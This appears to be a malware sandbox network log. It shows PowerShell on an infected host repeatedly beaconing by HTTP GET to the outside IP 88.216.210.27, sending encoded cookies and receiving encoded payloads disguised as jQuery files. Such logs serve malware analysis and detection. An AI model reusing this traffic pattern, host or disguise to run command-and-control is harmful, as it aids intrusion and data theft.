Apr 9, 2023 02:58:39.638509989 CEST	114	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:39.638549089 CEST	115	IN	Data Raw: 50 42 4c 48 4b 4f 4d 4d 4d 45 48 4f 4c 4f 49 47 4e 46 48 4c 4c 4e 4c 46 4a 43 4f 46 45 4b 49 46 4f 4e 4a 48 43 45 4c 4f 46 43 47 4e 48 49 43 50 46 4f 4f 43 45 4c 46 50 4d 4e 47 4c 48 4d 47 42 4a 4a 4a 4d 49 4d 44 48 48 4c 42 4d 4b 49 44 4b 44 45 Data Ascii: PBLHKOMMMEHOLOIGNFHLLNLFJCOFEKIFONJHCELOFCGNHICPFOOCELFPMNGLHMGBJJJMIMDHHLBMKIDKDELNBCFBFNOLNJOJDMHGNAJGLEKGJMKJFCLEPIPCDCACMLOOIPMEHDKDPBIJELDEAGAGGLDEOKODKPIDFNFKJOCLGGABDJGNGGGBMOEFLIFIIMDINFONPLMEADHGJHOGAIINPDCAGEDPKPCDDOLNGOGIDAGAOHJIJIG

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.5	49704	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:47.029097080 CEST	183	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=Hfr7wEY5m4eXDVTBJCwVoOeGeKtwvbuairVSDbLWYsc-zYywD2F91-XwhhqhBxuv9ZP-zR7WJv7eg_ydC1bXm7skNyV3R-5-l-CnmEGtZKaJ5v2bLVxXtV-CBSU1ir3q2Xx4S1VUk5uvAN80EBY_G450esbP6oAW3eKK7FAo-nkozuNt User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:47.178116083 CEST	183	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:47 GMT Server: CloudFront Content-Length: 2452 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:47.178174019 CEST	184	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:47.178201914 CEST	185	IN	Data Raw: 4a 4f 50 47 4a 4b 49 43 50 4e 41 47 4c 46 4f 4d 49 45 4b 47 47 43 4e 4e 4a 47 45 41 4d 49 44 41 42 4a 50 4e 47 4f 4e 42 4c 48 50 48 43 41 4b 47 43 43 42 41 46 50 42 43 4e 48 49 44 47 49 42 43 50 44 50 41 4c 41 4d 50 4e 4a 4d 43 49 4b 4d 48 44 50 Data Ascii: JOPGJKICPNAGLFOMIEKGGCNNJGEAMIDABJPNGONBLHPHCAKGCCBAFPBCNHIDGIBCPDPALAMPNJMCIKMHDPONKGDLPAELIGJNEAKCPFFHNDPEFOGMPJNGFFBOFMONBGLLGAIBBEOKHEFFEFLMJLMKPGKEAAIADALLBIFIHLDOEHDEHLMGCCEJJDGNKIOLAHLEAANGMBGHBCDLAEKPKIIDJJLBGMAHMDJDJIPCNFDFAPHFCDMEJMC

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.5	49705	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:47.436414957 CEST	186	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=VvAckQ0zfNbcB7OQbyby8ayMn_o7t1zLwb-1XPnchZZ1x2vhRGuahq76YUvqDfz-vpkZnFXcwa-ViRvMQFwwyvAu0HQ8TQkv3OpAyQqng_fC7BrKZlaw5BSI4nR-gFq7knafGh5edMrkCjhlWxzYSsV-nZeE4GdHluhtvRsiHShjxAQ8 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:47.585733891 CEST	187	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:47 GMT Server: CloudFront Content-Length: 2228 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:47.585784912 CEST	188	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:47.585813999 CEST	189	IN	Data Raw: 47 4e 4a 50 44 41 4c 45 48 42 4b 4d 41 48 42 44 49 4c 50 46 4f 4e 49 48 48 4f 41 47 42 4c 4a 4e 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 34 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f Data Ascii: GNJPDALEHBKMAHBDILPFONIHHOAGBLJN/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){'use strict';'object'==typeof module&&'object'==typeof module.exports? module.exports=e.document?t(e,!0):

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.5	49706	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:47.852874994 CEST	190	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=4cXtY7oGjSRrMkJi2BMDAxu5bgiMgq05dopErk7pdGTC8poT815rdBnPkLldOA0MCazobuLpMF0ivOo-92nBOEcbIYaLePjda9-xO72ScgV12es40WNBFqO9E4bJtatJJUNu6KlrhThTP8mX7CkpuHJLbGUz1Za1Id2cT6wX7NrU8fXO User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:48.001952887 CEST	190	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:47 GMT Server: CloudFront Content-Length: 2228 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:48.001996994 CEST	192	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:48.002023935 CEST	193	IN	Data Raw: 41 41 43 48 43 4c 4e 41 43 42 4c 44 43 4c 45 4f 42 4e 4d 45 4f 4f 4e 4d 4d 47 48 4b 4d 48 46 4c 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 34 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f Data Ascii: AACHCLNACBLDCLEOBNMEOONMMGHKMHFL/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){'use strict';'object'==typeof module&&'object'==typeof module.exports? module.exports=e.document?t(e,!0):

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.5	49707	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:48.262604952 CEST	194	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=QiN5KBngGW_I1NYpe_WXSLhf-kMvZDly1WzQ5e0P4C9hFA5YULj_P7opBPL-3plHqkp8JUEPpBaBWn51VI9Vc-T9tc0onmyWyDklcB505k7WP39zcoXVXQBbh81qUz8ChqX6owqNEXPw2V3cT8-989Gt-C6QMwL-gjsIBA_xeJF3F2GF User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:48.411310911 CEST	194	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:48 GMT Server: CloudFront Content-Length: 2388 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:48.411355972 CEST	195	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:48.411389112 CEST	197	IN	Data Raw: 4a 43 45 48 4e 50 4e 4b 4d 4d 45 48 46 44 45 41 4d 4d 4b 44 4c 4e 48 46 50 4d 4e 4f 47 50 50 4d 48 4e 4e 4e 45 47 4f 41 4f 41 50 4b 44 47 44 4a 45 4e 4a 44 4c 43 41 4d 4a 4b 42 50 48 50 4a 4d 46 4d 4c 4f 47 47 4b 49 41 48 47 48 47 48 4c 43 50 41 Data Ascii: JCEHNPNKMMEHFDEAMMKDLNHFPMNOGPPMHNNNEGOAOAPKDGDJENJDLCAMJKBPHPJMFMLOGGKIAHGHGHLCPACFKEKLGFNMJNPPGIBFLFADOKGLHFDFGMCCHFAOMGJHDKAMPPOINANNGHKCJCLHCDAGFDJNCCOJDLFHICBMPGEHCEBJEECCNGIAADGJOBAPPJLK/*! jQuery v3.4.1 \| (c) JS Foundation and other con

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.5	49708	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:48.671215057 CEST	198	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=K-QNLHAnbWuhE6ItEjLjTNGYjkdGo012vKuk4YTIlCsI03pcOX-LO9PucPaXGe1Dw40IISjI0BLonQpxPUghd406wclBWRiSof5RdHezkkq_-At3G0KhWWmc88kDlEsG72KOp2NKZXeZHinYJgjJ97hqjCr59Hb66_x8AGY2DJUe0BWB User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:48.821337938 CEST	198	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:48 GMT Server: CloudFront Content-Length: 2388 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:48.821424007 CEST	199	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:48.821463108 CEST	200	IN	Data Raw: 4b 43 46 43 41 4f 49 42 4f 47 45 4a 47 42 50 4d 49 49 4e 4e 4c 45 41 4a 4b 50 44 48 42 43 4a 4e 46 42 4f 44 41 49 45 43 4f 41 41 42 46 4f 43 4b 4e 4e 4d 49 43 47 48 4b 42 4a 48 4b 4b 4e 4a 50 4b 4f 4d 4a 4a 4a 47 50 4a 45 42 47 4e 41 50 41 4d 4b Data Ascii: KCFCAOIBOGEJGBPMIINNLEAJKPDHBCJNFBODAIECOAABFOCKNNMICGHKBJHKKNJPKOMJJJGPJEBGNAPAMKAJLEAPFAAKFMKEPADBEOLJOCPPBNPCINFHCMPIMKLIAGGEFHEJCFFNGMLONDDEACCFIEDIHMODLAFJIDJICHLHJAMFPKEAGNJCIHKLPAHBLFCJ/*! jQuery v3.4.1 \| (c) JS Foundation and other con

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.5	49709	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:49.088391066 CEST	201	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=oY0nAfpOR0YreogAmFvJYVvxpGrMymdbNsKOzA6hvgaCulBxsxahFlmHWtsdcMduSeQiDKKh-j9i9CBctyELWgdT6-TLMDK_K5d7Wf3auGc1kSFakSuLdOP12eSJ_WErZQukiukjT1oTdwP1rGHj2jIDpgdznVzXYZVWLexfJriUuT-s User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:49.237193108 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:49 GMT Server: CloudFront Content-Length: 2324 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:49.237246037 CEST	203	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:49.237277031 CEST	204	IN	Data Raw: 4d 45 48 42 4d 4a 4c 41 48 45 44 41 42 49 4c 42 4d 49 49 4a 47 42 45 47 44 42 49 48 4f 41 50 4c 4d 4c 47 4e 4c 48 4f 42 50 49 4f 4a 42 4a 46 50 41 48 46 50 4c 47 4a 4c 4f 41 48 4a 4e 50 4b 45 4c 42 46 46 42 46 42 44 43 4c 4d 42 48 44 43 4c 46 42 Data Ascii: MEHBMJLAHEDABILBMIIJGBEGDBIHOAPLMLGNLHOBPIOJBJFPAHFPLGJLOAHJNPKELBFFBFBDCLMBHDCLFBPPCLEMNGNCPDBBAJPEPPBBEBIBDDIHHNCCPLJHFLDJHOHL/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){'use strict'

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.5	49710	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:49.512372971 CEST	205	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=_VuDt6aY4_B3rCy2xI1t1wcnANyQHMPtahQqelJ3GrDebPTH78AFoAVR_m1BpmPYFTKGuv53Xok-IoTq6_ev7FuFT1KX5pYJd0Hf76EMHNFpR4Xszf0vwr8jfVLVK8WdOd0APLX16-xPoadD8LdHbG7VArEvS_hhPUPym7CJgg7Ib5sa User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:49.661043882 CEST	206	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:49 GMT Server: CloudFront Content-Length: 2452 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:49.661079884 CEST	207	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:49.661103010 CEST	208	IN	Data Raw: 41 50 4d 49 4b 4e 44 49 46 49 42 45 4b 4a 4f 4a 4b 46 41 46 50 41 45 47 4d 42 4f 4e 4c 4e 4f 45 45 4a 4f 43 4d 4f 4a 4e 4e 4e 43 4f 4b 49 48 47 4e 44 4e 43 4c 48 4a 4c 50 41 41 4f 41 50 4d 44 49 4f 4d 45 4b 4c 50 41 4f 48 4c 4c 45 45 47 41 45 4e Data Ascii: APMIKNDIFIBEKJOJKFAFPAEGMBONLNOEEJOCMOJNNNCOKIHGNDNCLHJLPAAOAPMDIOMEKLPAOHLLEEGAENNAPFDLHDJPDIHLMMOJJGNNNNKFLMPHNPNMBEHKJKMMJAJEPAMFEEACBLEBICFAGCJFKDBODHFJJMBCLGEGCMPPIAHBGABBCFPOPNBLMCHGJNJHKFGGECEMEGIFOPDEKABIEHLMGLJJCEGPDAIIGNEDGEKHMKNCMKP

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.5	49711	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:49.918859005 CEST	209	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=B1M8ilyQXM2NpJOLPoXS6v0vv-FqFHzQkByVR6h_pY0kZEv6Fci6nf9ZQVC7rtzl7zo5hwR_4bTEKjvXEf8Q0aGN8G9t7ik0jUlg0lsEo-yTTzrRN_WQ_0Urwm8vI3qgw9W_AU_9VNG1qRh-Cr_4UZTdvYzVQ0dcx0tNpkqBPTMyZyQn User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:50.067918062 CEST	209	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:49 GMT Server: CloudFront Content-Length: 2548 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:50.067950964 CEST	211	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:50.067974091 CEST	212	IN	Data Raw: 4f 44 49 4c 49 49 4e 41 44 4c 44 48 41 43 4d 49 4b 42 50 50 43 43 48 43 4d 4e 4b 49 4a 47 42 47 4e 44 42 4f 4b 41 46 4b 43 43 44 42 42 4b 4b 4a 4c 42 43 46 4f 46 43 4e 47 42 41 44 47 4c 50 49 4b 48 43 46 42 48 47 4d 43 48 4b 4a 4f 46 41 41 45 48 Data Ascii: ODILIINADLDHACMIKBPPCCHCMNKIJGBGNDBOKAFKCCDBBKKJLBCFOFCNGBADGLPIKHCFBHGMCHKJOFAAEHFAIHOBGPBHFCCFBPPJLKLGKCHEICEDMACLNGOMCHPKKKMFPIAFJILJKONJJFNKAKBHINBMPAKPKDHOAAEPPEKNLKHHJMMOJAKBJKAKIGLJEAOMCEBOFBHKDPIHPDGCGDNBBDNJENGJDJHCDAMCODHBGCGEIKMHKPD

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.5	49712	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:50.337302923 CEST	213	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=5kNigb2AAsZstM2A35WM4Rw_4eqLBCLbcQzLTElv-4bFdBXx9Njklh5JH1tavoLuDipnjOVvv78lOmXc8O9O2kCdrmSM_nc_bFk-2boU_edyX2Ta1uXO9KQ7nGTOMySrIsXhCq7tCtpUuUZ166-mWnXN44c0UxlXJlsTrauRYzjTd3os User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:50.498857021 CEST	213	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:50 GMT Server: CloudFront Content-Length: 2420 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:50.498886108 CEST	215	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:50.498908997 CEST	216	IN	Data Raw: 4b 42 4f 4a 45 46 43 4b 43 50 49 42 50 4b 4d 4d 4c 4c 4a 44 46 42 41 41 4d 42 4e 44 4a 4b 41 4c 41 45 4a 48 4a 4a 4e 43 45 45 41 48 4f 4a 4e 49 47 42 49 49 47 43 47 48 4c 44 48 42 4c 4d 50 47 4b 4d 50 4f 44 4d 50 49 4f 41 44 4d 43 46 4f 4b 42 47 Data Ascii: KBOJEFCKCPIBPKMMLLJDFBAAMBNDJKALAEJHJJNCEEAHOJNIGBIIGCGHLDHBLMPGKMPODMPIOADMCFOKBGFNBNGJPLEOKKLFBCAIHJPKFBMDDMFAHDKJKPKDJHBNDMHDALICILACOBIJDPGPCBPPHBLLPCFACFKDENNKPILLFFPDHJGGBDEGJIOHDEKJMGBEMELGJABEDOOOOHBPJELEODFNMDKLNCKL/*! jQuery v3.4.1 \|

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.5	49713	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:50.773260117 CEST	217	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=wbK8ippx3M1LRROL-GRS6jvOP-Gs9fzQVv0VR26eJY3ihcv60yk6nTm4wVB9T1zlKdu5h8KeYbQCy7vX1x6Q0WdscG-rD6k0S6jg0p3lI-xVrrrR8RQQ_4PKQm_pwvqgBTQ_AYkc1NFzSJh-zF54UVI8PYwTosdcAarNpoxgvTP0hqQn User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:50.929677963 CEST	217	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:50 GMT Server: CloudFront Content-Length: 2356 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:50.929704905 CEST	218	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
